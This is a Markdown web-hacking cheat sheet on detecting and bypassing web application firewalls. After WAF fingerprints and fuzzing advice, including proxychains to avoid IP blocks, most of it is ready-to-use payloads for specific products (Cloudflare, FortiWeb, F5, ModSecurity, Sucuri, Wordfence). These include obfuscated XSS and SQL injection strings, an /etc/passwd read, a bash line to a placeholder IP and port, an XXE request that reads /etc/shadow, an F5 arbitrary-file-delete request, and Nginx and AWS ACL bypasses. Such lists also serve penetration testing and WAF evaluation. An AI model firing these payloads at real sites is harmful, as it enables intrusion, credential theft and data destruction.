Web_Hacking/WAF Bypass.md
2023-11-16 13:29:29 +03:30

16 KiB
Raw Permalink Blame History

WAF Detection and Bypass

Detection Techniques:

To identify WAFs, we need to (dummy) provoke it.

  1. Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
  2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
  3. Make GET requests to random open ports and grab banners which might expose the WAFs identity.
  4. On login pages, inject common (easily detectable) payloads like " or 1 = 1 --.
  5. Inject noisy payloads like <script>alert()</script> into search bars, contact forms and other input fields.
  6. Attach a dummy ../../../etc/passwd to a random parameter at end of URL.
  7. Append some catchy keywords like ' OR SLEEP(5) OR ' at end of URLs to any random parameter.
  8. Make GET requests with outdated protocols like HTTP/0.9 (HTTP/0.9 does not support POST type queries).
  9. Many a times, the WAF varies the Server header upon different types of interactions.
  10. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.

Tip: This method could be easily achieved with tools like HPing3 or Scapy.

  1. Side Channel Attacks - Examine the timing behaviour of the request and response content.

Tip: More details can be found in a blogpost here.

WAF Fingerprints

WAF Fingerprints
ArvanCloud Detectability: Moderate
Detection: Server header contains ArvanCloud keyword.
ASP.NET Generic Detectability: Easy
Detection: Response headers may contain X-ASPNET-Version header value.
Blocked response page content may contain:
This generic 403 error means that the authenticated user is not authorized to use the requested resource.
Error Code 0x00000000< keyword.
BIG-IP ASM Detectability: Moderate
Detection:
Response headers may contain BigIP or F5 keyword value.
Response header fields may contain X-WA-Info header.
Response headers might have jumbled X-Cnection field value.
Cloudflare Detectability: Easy
Detection:
Response headers might have cf-ray field value.
Server header field has value cloudflare.
Set-Cookie response headers have __cfuid= cookie field.
Page content might have Attention Required! or Cloudflare Ray ID:.
Page content may contain DDoS protection by Cloudflareas text.
You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.
FortiWeb Detectability: Moderate
Detection:
Response headers contain FORTIWAFSID= on malicious requests.
Response headers contain cookie name cookiesession1=
Blocked response page contains:
Reference to .fgd_icon image icon.
Server Unavailable! as heading.
Server unavailable. Please visit later. as text.

Evasion Techniques

Fuzzing/Bruteforcing:

Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:

Technique:

  • Load up your wordlist into fuzzer and start the bruteforce.
  • Record/log all responses from the different payloads fuzzed.
  • Use random user-agents, ranging from Chrome Desktop to iPhone browser.
  • If blocking noticed, increase fuzz latency (eg. 2-4 secs).
  • Always use proxychains, since chances are real that your IP gets blocked.

Blacklisting Detection/Bypass

SQL Injection

# Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)
Blocked Attempt: union select user, password from users
Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'


# Keywords Filtered: and, or, union, where
Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed Injection: 1 || (select user from users limit 1) = 'admin'


# Keywords Filtered: and, or, union, where, limit
Blocked Attempt: 1 || (select user from users limit 1) = 'admin'
Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'


# Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)
Blocked Attempt: union select user, password from users
Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'


# Keywords Filtered: and, or, union, where
Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed Injection: 1 || (select user from users limit 1) = 'admin'


# Keywords Filtered: and, or, union, where, limit
Blocked Attempt: 1 || (select user from users limit 1) = 'admin'
Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

Obfuscation

1. Case Toggling

# Standard
<script>alert()</script>
# Bypassed
<ScRipT>alert()</sCRipT>

# Standard
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
# Bypassed
sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL Encoding

# Blocked
<svG/x=">"/oNloaD=confirm()//

# Bypassed
%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

# Blocked
uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)

# Bypassed
uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode Normalization

# Standard
<marquee onstart=prompt()>
# Obfuscated
<marquee onstart=\u0070r\u06f\u006dpt()>


# Blocked
/?redir=http://google.com
# Bypassed
/?redir=http://google。com (Unicode alternative)


# Blocked
<marquee loop=1 onfinish=alert()>x
# Bypassed
marquee loop1 onfinishalert︵1)>x (Unicode alternative)


# Standard
../../etc/passwd
# Obfuscated
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. HTML Representation

# Standard
"><img src=x onerror=confirm()>
# Encoded
&quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (General form)
# Encoded
&#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (Numeric reference)

5. Using Comments

# Blocked
<script>alert()</script>
# Bypassed
<!--><script>alert/**/()/**/</script>

# Blocked
/?id=1+union+select+1,2,3--
# Bypassed
/?id=1+un/**/ion+sel/**/ect+1,2,3--

Cloudflare

XSS Bypass

<svg onx=() onload=(confirm)(1)>
<a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
1'"><img/src/onerror=.1|alert``>
<svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this['document']['cookie']&rpar;">X</a>`
<--`<img/src=` onerror=confirm``> --!>
javascript:{alert`0`}
<base href=//knoxss.me?
<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x

// RCE Payload Detection Bypass
cat$u+/etc$u/passwd$u
/bin$u/bash$u <ip> <port>
";cat+/etc/passwd+#

Fortinet Fortiweb

# pcre_expression unvaidated XSS
/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0

# CSP Bypass
# POST Type Query
POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>

var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>

# GET Type Query
http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>

F5 ASM

# XSS Bypass
<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>

F5 BIG-IP

// XSS Bypass
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)“>

// report_type XSS 
https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+

//POST Based XXE
POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143

<?xml  version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>

// Directory Traversal
// Read Arbitrary File
/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd

// Delete Arbitrary File
POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded

_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete

ModSecurity

// XSS Bypass for CRS 3.2
<a href="jav%0Dascript&colon;alert(1)">

// RCE Payloads Detection Bypass for PL3
;+$u+cat+/etc$u/passwd$u

// RCE Payloads Detection Bypass for PL2
;+$u+cat+/etc$u/passwd+\#

// RCE Payloads for PL1 and PL2
/???/??t+/???/??ss??

// SQLi Bypass
0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')
1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
amUserId=1 union select username,password,3,4 from users
%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
1%0bAND(SELECT%0b1%20FROM%20mysql.x)
%40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29
%0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201

Sucuri

// XSS Bypass (POST Only)
<a href=javascript&colon;confirm(1)>

// Smuggling RCE Payloads
/???/??t+/???/??ss??

// Obfuscating RCE Payloads
;+cat+/e'tc/pass'wd
c\\a\\t+/et\\c/pas\\swd

// XSS Bypass
"><input/onauxclick="[1].map(prompt)">

// XSS Bypass
data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
<input type=hidden name=a value="<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>">
<input type=submit></form>

Wordfence

// XSS Bypass
<a href=javas&#99;ript:alert(1)>
<a href=&#01javascript:alert(1)>

// XSS Bypass
<a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At&colon;/**/alert()/**/>click

// HTML Injection
http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

// XSS Exploit
<html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive. 
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
<input type="hidden" name="email" 
value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>

// Other XSS Bypasses
<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>

Apache Generic

// Writing method type in lowercase
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

IIS Generic

// Tabs before method
    GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

Bypassing Nginx ACL Rules

Nginx restriction example:

location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}

NodeJS

nodejs

  • As Nginx includes the character \xa0 as part of the pathname, the ACL rule for the /admin URI will not be triggered. Consequently, Nginx will forward the HTTP message to the backend;
  • When the URI /admin\x0a is received by the Node.js server, the character \xa0 will be removed, allowing successful retrieval of the /admin endpoint.
Nginx Version Node.js Bypass Characters
1.22.0 \xA0
1.21.6 \xA0
1.20.2 \xA0, \x09, \x0C
1.18.0 \xA0, \x09, \x0C
1.16.1 \xA0, \x09, \x0C

Flask

Flask removes the characters \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B, and \x09 from the URL path, but NGINX doesn't.

flask

Nginx Version Flask Bypass Characters
1.22.0 \x85, \xA0
1.21.6 \x85, \xA0
1.20.2 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Below, you will find a demonstration of how ACL protection can be circumvented by adding the character \x09 or \t at the end of the pathname:

spring

Nginx Version Spring Boot Bypass Characters
1.22.0 ;
1.21.6 ;
1.20.2 \x09, ;
1.18.0 \x09, ;
1.16.1 \x09, ;

PHP-FPM

Let's consider the following Nginx FPM configuration:

location = /admin.php {
    deny all;
}

location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

It's possible to bypass it accessing /admin.php/index.php:

php

How to prevent

To prevent these issues, you must use the ~ expression Instead of the = expression on Nginx ACL rules, for example:

COPYCOPY

location ~* ^/admin {
    deny all;
}

Bypassing AWS WAF ACL With Line Folding

It's possible to bypass AWS WAF protection in a HTTP header by using the following syntax where the AWS WAF won't understand X-Query header contains a sql injection payload while the node server behind will:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Tools

  • GoTestWAF - A tool to test a WAF's detection logic and bypasses